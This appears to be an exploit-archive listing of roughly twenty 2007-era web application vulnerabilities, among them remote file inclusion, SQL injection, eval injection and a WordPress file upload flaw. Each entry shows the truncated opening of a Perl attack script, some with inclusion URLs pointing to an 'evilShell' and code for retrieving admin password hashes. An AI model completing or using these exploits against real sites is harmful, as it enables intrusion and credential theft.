FlashBB 1.1.8 - 'sendmsg.php' Remote File Inclusion

!/usr/bin/perl Flashbb : coded and f0und3d by kw3rln Romanian Security Team .: hTTp://RSTZONE.NET :. greetz to all RST rstzone.net MEMBERZ use LWP::Simple; print "...........................RST...............................\n"; print ". .\n"; print ". Flashbb hTTp://RSTZONE.NET .\n"; print "...

iG Shop 1.4 eval Inclusion Vulnerability

No description provided by source. !/usr/bin/perl -w use LWP::UserAgent; iG Shop 1.4 eval Inclusion Vulnerability found by IFX nyubicrew Vulnerability on page.php if !$action $action = "make"; // here the function will be called. eval "page$action;"; die "Example: perl $0...

phpEventCalendar <= 0.2.3 (eventdisplay.php) SQL Injection Exploit

No description provided by source. !/usr/bin/perl Vendor url: www.ikemcg.com require LWP::UserAgent; print " phpEventCalendar = v0.2.3 SQL Injection Exploit By Iron - ironwarez.info Thanks to Silentz for the help : Greets to everyone at RootShell Security Group & dHack Example target url:...

phpeventcal-sql.txt

!/usr/bin/perl Vendor url: www.ikemcg.com require LWP::UserAgent; print " phpEventCalendar ; if$target ! /^http:/// $target = "http://".$target; if$target ! //$/ $target .= "/"; print "User id to retrieve name/password from? 1 = admin"; chomp$targetid=; $target .=...

phpEventCalendar 0.2.3 - eventdisplay.php SQL Injection

phpEventCalendar 0.2.3 - eventdisplay.php SQL Injection !/usr/bin/perl Vendor url: www.ikemcg.com require LWP::UserAgent; print " phpEventCalendar ; if$target ! /^http:/// $target = "http://".$target; if$target ! //$/ $target .= "/"; print "User id to retrieve name/password from? 1 = admin";...

xoops101-rfi.txt

!/usr/bin/perl sub header print q ========================================================================= XOOPS modules xfsection 1.01 =Remote File Inclusion Exploit Exploit Coded by fl0 fl0w floflowsupremacyatyahoodotcom PoC:http://site.com/modules/xfsection/modify.php?dirmodule=evilShell?...

phpEventCalendar <= 0.2.3 (eventdisplay.php) SQL Injection Exploit

Exploit for unknown platform in category web applications ================================================================== phpEventCalendar ; if$target ! /^http:/// $target = "http://".$target; if$target ! //$/ $target .= "/"; print "User id to retrieve name/password from? 1 = admin";...

phpEventCalendar 0.2.3 - 'eventdisplay.php' SQL Injection

!/usr/bin/perl Vendor url: www.ikemcg.com require LWP::UserAgent; print " phpEventCalendar ; if$target ! /^http:/// $target = "http://".$target; if$target ! //$/ $target .= "/"; print "User id to retrieve name/password from? 1 = admin"; chomp$targetid=; $target .=...

WordPress 2.2 (wp-app.php) Arbitrary File Upload Exploit

Exploit for unknown platform in category web applications ======================================================== WordPress 2.2 wp-app.php Arbitrary File Upload Exploit ======================================================== ! /usr/bin/env perl Wordpress 2.2 and Wordpress MU Website :...

WordPress Core 2.2 - 'wp-app.php' Arbitrary File Upload

!/usr/bin/env perl Wordpress 2.2 and Wordpress MU Website : http://www.buayacorp.com/ Advisory: http://www.buayacorp.com/files/wordpress/wordpress-advisory.html use Digest::MD5 qwmd5hex; use LWP::UserAgent; my $ua = new LWP::UserAgent; my $blog = $ARGV0; my $user = $ARGV1; my $pass = $ARGV2; my...

Powl 0.94 - htmledit.php Remote File Inclusion

Powl 0.94 - htmledit.php Remote File Inclusion !/usr/bin/perl POWL - 0.94 - Remote File Inclusion Exploit Url: http://switch.dl.sourceforge.net/sourceforge/powl/powlontowiki-0.94.zip Exploit: http://site.com/path/plugins/widgets/htmledit/htmledit.php?POWLinstallPath=EvilScript: coded and f0und3d ...

SerWeb 0.9.4 - load_lang.php Remote File Inclusion

SerWeb 0.9.4 - loadlang.php Remote File Inclusion !/usr/bin/perl SerWeb 0.9.4- Remote FIle Inclusion This software, serweb, is a web interface for self-provisioning of users of SER SIP Server http://www.iptel.org/ser/ Url: http://ftp.iptel.org/pub/ser/0.9.6/contrib/serweb-0.9.4.tar.gz Exploit:...

LAN Management System (LMS) 1.9.6 - Remote File Inclusion

LAN Management System LMS 1.9.6 - Remote File Inclusion !/usr/bin/perl LMS - LAN Management System 1.9.6 - RFI Risk : High Remote Code Execution Url: http://www.lms.org.pl/download/1.9/lms-1.9.6.tar.gz Exploit: http://site.com/path/lib/language.php?LIBDIR=EvilScript coded and f0und3d by Kw3RLn...

igshop14-eval.txt

!/usr/bin/perl -w use LWP::UserAgent; iG Shop 1.4 eval Inclusion Vulnerability found by IFX nyubicrew Vulnerability on page.php if !$action $action = "make"; // here the function will be called. eval "page$action;"; die "Example: perl $0 http://www.planetgolfuk.co.uk/shop\n" unless @ARGV; $b =...

fuzzy-sql.txt

!/usr/bin/perl -w Fuzzylime Forum 1.0 SQL Injection Exploit Discovered by: Silentz Payload: Admin Username & Hash Retrieval Website: http://www.w4ck1ng.com Vulnerable Code low.php: $gettopicid = mysqlquery"SELECT FROM $tableprefixthreads WHERE threadid='$GETtopic'"; PoC:...

comicsense02-sql.txt

!/usr/bin/perl -w ComicSense 0.2 SQL Injection Exploit Discovered by: s0cratex Payload: Admin Username & Hash Retrieval Website: http://www.w4ck1ng.com Original Advisory: http://seclists.org/bugtraq/2007/Jun/0063.html http://milw0rm.com/exploits/4035 Vulnerable Code index.php: $sqlQuery = "SELECT...

CVE-2007-2815.txt

CVE-2007-2815 ff0000 [email protected] 01/06/2007 ! /usr/bin/perl use LWP 5.64; require "getopt.pl"; &Getopt'shop'; $browser = LWP::UserAgent-new; $proto=$opts;if$opts$proto="https";else$proto="http"; $host=$opth;if!$opth&usage; $obj =$opto;if!$opto&usage; $port=$optp;if!$optp$port=80; $url =...

saxon-rfi.txt

""""""""""""""""""""""""""""""""""""""""""""""" """ :: :: ::::: :::: """ """ :: :: :: : :: """ """ :::: :: :: ::::: ::::: :::: """ """ :: :: ::: ::: :: :: :: :: :: """ """ :: :: :: : : ::::: :: :: :::: """ """ """ """"""""""""""""""""""""""""""""""""""""""""""" Xmor$ Security Vulnerability Resear...

Dokeos 1.8.0 - 'my_progress.php?course' SQL Injection

!/usr/bin/perl -w Dokeos = 1.8.0 SQL Injection Exploit Discovered by: Silentz Payload: Admin Username & Hash Retrieval Website: http://www.w4ck1ng.com Vulnerable Code myprogress.php: ifisset$GET'course' $sqlInfosCourse = "SELECT course.code, course.title,course.dbname,CONCATuser.firstname,'...

Simple Accessible XHTML Online News v4.6 Remote File Include Exploit

""""""""""""""""""""""""""""""""""""""""""""""" """ :: :: ::::: :::: """ """ :: :: :: : :: """ """ :::: :: :: ::::: ::::: :::: """ """ :: :: ::: ::: :: :: :: :: :: """ """ :: :: :: : : ::::: :: :: :::: """ """ """ """"""""""""""""""""""""""""""""""""""""""""""" Xmor$ Security Vulnerability Resear...